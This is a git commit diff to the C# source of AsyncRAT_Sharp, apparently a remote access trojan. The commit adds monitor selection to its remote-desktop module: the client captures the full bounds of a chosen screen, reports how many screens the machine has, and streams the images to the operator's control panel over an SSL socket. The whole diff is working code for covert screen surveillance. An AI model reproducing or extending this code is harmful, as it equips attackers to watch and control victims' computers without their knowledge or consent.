Update Remote Desktop

- Change WorkingArea to Bounds for fullscreen
- Add NumericUpDown for select screen source
- Add Client variable to send the number of screen available to the server
This commit is contained in:
thi67 2019-05-17 17:41:06 +02:00
parent 90ffd47eb9
commit c51c9b8ca2
5 changed files with 73 additions and 20 deletions

View File

@ -37,17 +37,21 @@
this.numericUpDown1 = new System.Windows.Forms.NumericUpDown(); this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
this.button1 = new System.Windows.Forms.Button(); this.button1 = new System.Windows.Forms.Button();
this.button2 = new System.Windows.Forms.Button(); this.button2 = new System.Windows.Forms.Button();
this.label2 = new System.Windows.Forms.Label();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.panel1.SuspendLayout(); this.panel1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
this.SuspendLayout(); this.SuspendLayout();
// //
// pictureBox1 // pictureBox1
// //
this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.Location = new System.Drawing.Point(0, 0); this.pictureBox1.Location = new System.Drawing.Point(0, 0);
this.pictureBox1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(710, 399); this.pictureBox1.Size = new System.Drawing.Size(473, 266);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0; this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false; this.pictureBox1.TabStop = false;
@ -60,21 +64,25 @@
// panel1 // panel1
// //
this.panel1.BackColor = System.Drawing.Color.Transparent; this.panel1.BackColor = System.Drawing.Color.Transparent;
this.panel1.Controls.Add(this.label2);
this.panel1.Controls.Add(this.numericUpDown2);
this.panel1.Controls.Add(this.label1); this.panel1.Controls.Add(this.label1);
this.panel1.Controls.Add(this.numericUpDown1); this.panel1.Controls.Add(this.numericUpDown1);
this.panel1.Controls.Add(this.button1); this.panel1.Controls.Add(this.button1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Top; this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
this.panel1.Location = new System.Drawing.Point(0, 0); this.panel1.Location = new System.Drawing.Point(0, 0);
this.panel1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.panel1.Name = "panel1"; this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(710, 38); this.panel1.Size = new System.Drawing.Size(473, 25);
this.panel1.TabIndex = 1; this.panel1.TabIndex = 1;
// //
// label1 // label1
// //
this.label1.AutoSize = true; this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(130, 8); this.label1.Location = new System.Drawing.Point(87, 6);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1"; this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(78, 20); this.label1.Size = new System.Drawing.Size(53, 13);
this.label1.TabIndex = 2; this.label1.TabIndex = 2;
this.label1.Text = "QUALITY"; this.label1.Text = "QUALITY";
// //
@ -87,14 +95,15 @@
0, 0,
0, 0,
0}); 0});
this.numericUpDown1.Location = new System.Drawing.Point(214, 7); this.numericUpDown1.Location = new System.Drawing.Point(143, 3);
this.numericUpDown1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.numericUpDown1.Minimum = new decimal(new int[] { this.numericUpDown1.Minimum = new decimal(new int[] {
20, 20,
0, 0,
0, 0,
0}); 0});
this.numericUpDown1.Name = "numericUpDown1"; this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(82, 26); this.numericUpDown1.Size = new System.Drawing.Size(55, 20);
this.numericUpDown1.TabIndex = 1; this.numericUpDown1.TabIndex = 1;
this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.numericUpDown1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left; this.numericUpDown1.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
@ -106,9 +115,10 @@
// //
// button1 // button1
// //
this.button1.Location = new System.Drawing.Point(6, 4); this.button1.Location = new System.Drawing.Point(4, 3);
this.button1.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.button1.Name = "button1"; this.button1.Name = "button1";
this.button1.Size = new System.Drawing.Size(107, 29); this.button1.Size = new System.Drawing.Size(71, 19);
this.button1.TabIndex = 0; this.button1.TabIndex = 0;
this.button1.Text = "STOP"; this.button1.Text = "STOP";
this.button1.UseVisualStyleBackColor = true; this.button1.UseVisualStyleBackColor = true;
@ -119,24 +129,58 @@
this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up; this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up;
this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button2.Location = new System.Drawing.Point(304, 44); this.button2.Location = new System.Drawing.Point(203, 29);
this.button2.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.button2.Name = "button2"; this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(18, 18); this.button2.Size = new System.Drawing.Size(12, 12);
this.button2.TabIndex = 2; this.button2.TabIndex = 2;
this.button2.Text = " "; this.button2.Text = " ";
this.button2.UseVisualStyleBackColor = true; this.button2.UseVisualStyleBackColor = true;
this.button2.Click += new System.EventHandler(this.Button2_Click); this.button2.Click += new System.EventHandler(this.Button2_Click);
// //
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(200, 6);
this.label2.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(51, 13);
this.label2.TabIndex = 4;
this.label2.Text = "SCREEN";
//
// numericUpDown2
//
this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.numericUpDown2.Enabled = false;
this.numericUpDown2.Increment = new decimal(new int[] {
10,
0,
0,
0});
this.numericUpDown2.Location = new System.Drawing.Point(256, 3);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown2.Maximum = new decimal(new int[] {
0,
0,
0,
0});
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
this.numericUpDown2.TabIndex = 3;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
//
// FormRemoteDesktop // FormRemoteDesktop
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(710, 399); this.ClientSize = new System.Drawing.Size(473, 266);
this.Controls.Add(this.button2); this.Controls.Add(this.button2);
this.Controls.Add(this.panel1); this.Controls.Add(this.panel1);
this.Controls.Add(this.pictureBox1); this.Controls.Add(this.pictureBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MinimumSize = new System.Drawing.Size(658, 448); this.Margin = new System.Windows.Forms.Padding(2, 2, 2, 2);
this.MinimumSize = new System.Drawing.Size(444, 305);
this.Name = "FormRemoteDesktop"; this.Name = "FormRemoteDesktop";
this.Text = "RemoteDesktop"; this.Text = "RemoteDesktop";
this.Load += new System.EventHandler(this.FormRemoteDesktop_Load); this.Load += new System.EventHandler(this.FormRemoteDesktop_Load);
@ -145,6 +189,7 @@
this.panel1.ResumeLayout(false); this.panel1.ResumeLayout(false);
this.panel1.PerformLayout(); this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit();
this.ResumeLayout(false); this.ResumeLayout(false);
} }
@ -158,5 +203,7 @@
private System.Windows.Forms.Button button1; private System.Windows.Forms.Button button1;
private System.Windows.Forms.Button button2; private System.Windows.Forms.Button button2;
public System.Windows.Forms.NumericUpDown numericUpDown1; public System.Windows.Forms.NumericUpDown numericUpDown1;
private System.Windows.Forms.Label label2;
public System.Windows.Forms.NumericUpDown numericUpDown2;
} }
} }

View File

@ -66,15 +66,18 @@ namespace AsyncRAT_Sharp.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value); msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value);
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
numericUpDown1.Enabled = false; numericUpDown1.Enabled = false;
numericUpDown2.Enabled = false;
button1.Text = "STOP"; button1.Text = "STOP";
} }
else else
{ {
button1.Text = "START"; button1.Text = "START";
numericUpDown1.Enabled = true; numericUpDown1.Enabled = true;
numericUpDown2.Enabled = true;
try try
{ {
C2.ClientSocket.Dispose(); C2.ClientSocket.Dispose();

View File

@ -33,6 +33,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
RD.numericUpDown2.Maximum = Screens - 1;
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
{ {
RD.pictureBox1.Image = (Bitmap)decoded; RD.pictureBox1.Image = (Bitmap)decoded;

View File

@ -18,7 +18,7 @@ namespace Client.Handle_Packet
{ {
public class HandleRemoteDesktop public class HandleRemoteDesktop
{ {
public void CaptureAndSend(int quality) public void CaptureAndSend(int quality, int Scrn)
{ {
try try
{ {
@ -37,7 +37,7 @@ namespace Client.Handle_Packet
while (Client.Connected) while (Client.Connected)
{ {
if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break; if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break;
Bitmap bmp = GetScreen(); Bitmap bmp = GetScreen(Scrn);
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
Size size = new Size(bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height);
BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
@ -51,7 +51,7 @@ namespace Client.Handle_Packet
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("ID").AsString = hwid;
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
SslClient.Write(msgpack.Encode2Bytes()); SslClient.Write(msgpack.Encode2Bytes());
SslClient.Flush(); SslClient.Flush();
@ -64,14 +64,14 @@ namespace Client.Handle_Packet
catch { } catch { }
} }
private Bitmap GetScreen() private Bitmap GetScreen(int Scrn)
{ {
Rectangle rect = Screen.AllScreens[0].WorkingArea; Rectangle rect = Screen.AllScreens[Scrn].Bounds;
try try
{ {
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb); Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot); Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
gfxScreenshot.CopyFromScreen(0, 0, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy); gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
gfxScreenshot.Dispose(); gfxScreenshot.Dispose();
return bmpScreenshot; return bmpScreenshot;
} }

View File

@ -115,7 +115,7 @@ namespace Client.Handle_Packet
case "remoteDesktop": case "remoteDesktop":
{ {
HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop(); HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger)); remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
break; break;
} }